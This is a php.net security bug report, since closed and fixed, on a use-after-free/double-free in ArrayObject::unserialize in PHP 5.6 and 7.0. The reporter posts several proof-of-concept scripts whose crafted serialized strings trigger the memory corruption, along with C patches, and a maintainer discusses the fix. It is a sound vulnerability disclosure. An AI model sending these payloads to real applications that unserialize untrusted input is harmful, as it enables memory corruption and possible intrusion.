php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73144 Use-after-free in ArrayObject Deserialization
Submitted: 2016-09-22 15:24 UTC Modified: 2017-01-16 20:52 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: SPL related
PHP Version: 5.6.26 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-09-22 15:24 UTC] taoguangchen at icloud dot com
Description:
------------
i) Works on PHP 5.6

PoC:
```
<?php

$inner = 'x:i:1;O:8:"stdClass":1:{};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);

?>
```

ii) Works on PHP 5.6 & PHP 7.0

PoC:
```
<?php

$inner = 'x:i:1;O:8:"CURLFile":1:{s:4:"name";R:1;};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);

?>
```

Fix [against PHP 5.6]
```
diff --git a/ext/spl/spl_array.c b/ext/spl/spl_array.c
index ca93b18..0e81403 100644
--- a/ext/spl/spl_array.c
+++ b/ext/spl/spl_array.c
@@ -1757,7 +1757,7 @@ SPL_METHOD(Array, unserialize)
 	int buf_len;
 	const unsigned char *p, *s;
 	php_unserialize_data_t var_hash;
-	zval *pmembers, *pflags = NULL;
+	zval *array, *pmembers, *pflags = NULL;
 	HashTable *aht;
 	long flags;
 
@@ -1810,12 +1810,15 @@ SPL_METHOD(Array, unserialize)
 		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
 		zval_ptr_dtor(&intern->array);
 		ALLOC_INIT_ZVAL(intern->array);
-		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)
-				|| (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) {
-				zval_ptr_dtor(&intern->array);
+		ALLOC_INIT_ZVAL(array);
+		if (!php_var_unserialize(&array, &p, s + buf_len, &var_hash TSRMLS_CC)
+				|| (Z_TYPE_P(array) != IS_ARRAY && Z_TYPE_P(array) != IS_OBJECT)) {
+				zval_ptr_dtor(&array);
 			goto outexcept;
 		}
-		var_push_dtor(&var_hash, &intern->array);
+		var_push_dtor_no_addref(&var_hash, &array);
+		intern->array = array;
+		Z_ADDREF_P(intern->array);
 	}
 	if (*p != ';') {
 		goto outexcept;
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-29 06:53 UTC] stas@php.net
I'm not sure why this helps - can't somebody from php_var_unserialize change array as well via reference?
 [2016-09-29 14:21 UTC] taoguangchen at icloud dot com
i)

```
SPL_METHOD(Array, unserialize)
{
...
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)
				|| (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) {
			zval_ptr_dtor(&intern->array); <=== call to zval_ptr_dtor
			goto outexcept;
```

if php_var_unserialize() call fails, the `&intern->array` will be freed via zval_ptr_dtor().

```
	retval.handle = zend_objects_store_put(intern, (zend_objects_store_dtor_t)zend_objects_destroy_object, (zend_objects_free_object_storage_t) spl_array_object_free_storage, NULL TSRMLS_CC);
```

then call to spl_array_object_free_storage in during object destruction.

```
static void spl_array_object_free_storage(void *object TSRMLS_DC)
{
...
	zval_ptr_dtor(&intern->array); <=== call to zval_ptr_dtor again
```

the `&intern->array` will be freed again via zval_ptr_dtor(), this results in use-after-free/double-free.

ii)

```
static void spl_array_object_free_storage(void *object TSRMLS_DC)
{
	efree(object); <=== free memory
...
SPL_METHOD(Array, unserialize)
{
...
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)
				|| (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) {
			zval_ptr_dtor(&intern->array); <=== use freed memory
			goto outexcept;
```

the CURLFile::__wakeup lead to object was freed from the memory, then call to zval_ptr_dtor handles `&intern->array`, this results in use-after-free/double-free.

so my solution used the `&array` instead of the `&intern->array`, and the solution can only solve this issue.
 [2016-10-24 04:55 UTC] stas@php.net
Looks like just deleting zval_ptr_dtor(&intern->array); also fixes it and does not add any new memory leaks, so I'm inclined to do that instead.
 [2016-10-24 05:02 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-10-24 05:02 UTC] stas@php.net
The fix is in security repo as 504ff0629f7ce8c0d4fc001673e6600f98b31e28 and in https://gist.github.com/38c86428a3a96df054223246ec7b936b

please verify
 [2016-10-24 05:33 UTC] taoguangchen at icloud dot com
The patch can fix this bug in 5.6, but I think the bug can be still triggered in 7.0 with special __wakeup(). You shouldn't use `&intern->array` in during call to php_var_unserialize.
 [2016-10-24 05:41 UTC] stas@php.net
Could you post the code for 7.0? Even better, submit is as a separate issue?
 [2016-10-24 05:46 UTC] taoguangchen at icloud dot com
You can test the second example in the original report, just need to used a special __wakeup() instead of the CURLFile::__wakeup().
 [2016-10-24 05:49 UTC] stas@php.net
I'm not sure I understand what "special wakeup" means. Please provide the code you were using, so we are sure we're talking about the same thing.
 [2016-10-24 11:38 UTC] taoguangchen at icloud dot com
```
<?php

class obj {
  var $ryat;
  function __wakeup() {
    $this->ryat = NULL;
    throw new Exception("Not a serializable object");
  }
}

$inner = 'x:i:1;O:3:"obj":1:{s:4:"ryat";R:1;};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);

?>
```
 [2016-10-24 11:49 UTC] taoguangchen at icloud dot com
Another way to trigger the bug

```
<?php

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = NULL;
	}
}

$inner = 'x:i:1;O:3:"obj":1:{s:4:"ryat";R:2;};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
var_dump($data);

?>
```
 [2016-10-24 12:18 UTC] taoguangchen at icloud dot com
Fix:
```
diff --git a/ext/spl/spl_array.c b/ext/spl/spl_array.c
index fe38735..0bb018f 100644
--- a/ext/spl/spl_array.c
+++ b/ext/spl/spl_array.c
@@ -1740,7 +1740,7 @@ SPL_METHOD(Array, unserialize)
 	size_t buf_len;
 	const unsigned char *p, *s;
 	php_unserialize_data_t var_hash;
-	zval *members, *zflags;
+	zval *members, *zflags, *array;
 	zend_long flags;
 
 	if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &buf, &buf_len) == FAILURE) {
@@ -1790,11 +1790,12 @@ SPL_METHOD(Array, unserialize)
 		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
 		zval_ptr_dtor(&intern->array);
 		ZVAL_UNDEF(&intern->array);
-		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash)
-				|| (Z_TYPE(intern->array) != IS_ARRAY && Z_TYPE(intern->array) != IS_OBJECT)) {
+		array = var_tmp_var(&var_hash);
+		if (!php_var_unserialize(array, &p, s + buf_len, &var_hash)
+				|| (Z_TYPE_P(array) != IS_ARRAY && Z_TYPE_P(array) != IS_OBJECT)) {
 			goto outexcept;
 		}
-		var_push_dtor(&var_hash, &intern->array);
+		ZVAL_COPY(&intern->array, array);
 	}
 	if (*p != ';') {
 		goto outexcept;
```
 [2016-10-24 12:30 UTC] taoguangchen at icloud dot com
BTW, the above patch can only fix the issue of the `&intern->array` being freed in during call to the php_var_unserialize, can't fix the issue of the `ArrayObject` being freed.
 [2016-10-30 21:34 UTC] stas@php.net
This sounds like different, already existing, but report. In any case, please report different issues in different version separately, it's impossible to track several issues in one bug report.
 [2016-10-30 22:36 UTC] taoguangchen at icloud dot com
I know, but I don't like to report some similar issues separately, preferring to point out the some typical issues in the same type of issues, and I don't intend to repeat report some new issues in unserialize with __wakeup, since we still haven't a solution.
 [2016-11-09 01:02 UTC] tyrael@php.net
-Summary: Use-afte-free in ArrayObject Deserialization +Summary: Use-after-free in ArrayObject Deserialization
 [2017-01-16 20:52 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2017-01-16 20:52 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

Looks like this is fixed by Nikita's __wakeup patch
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 17:01:58 2024 UTC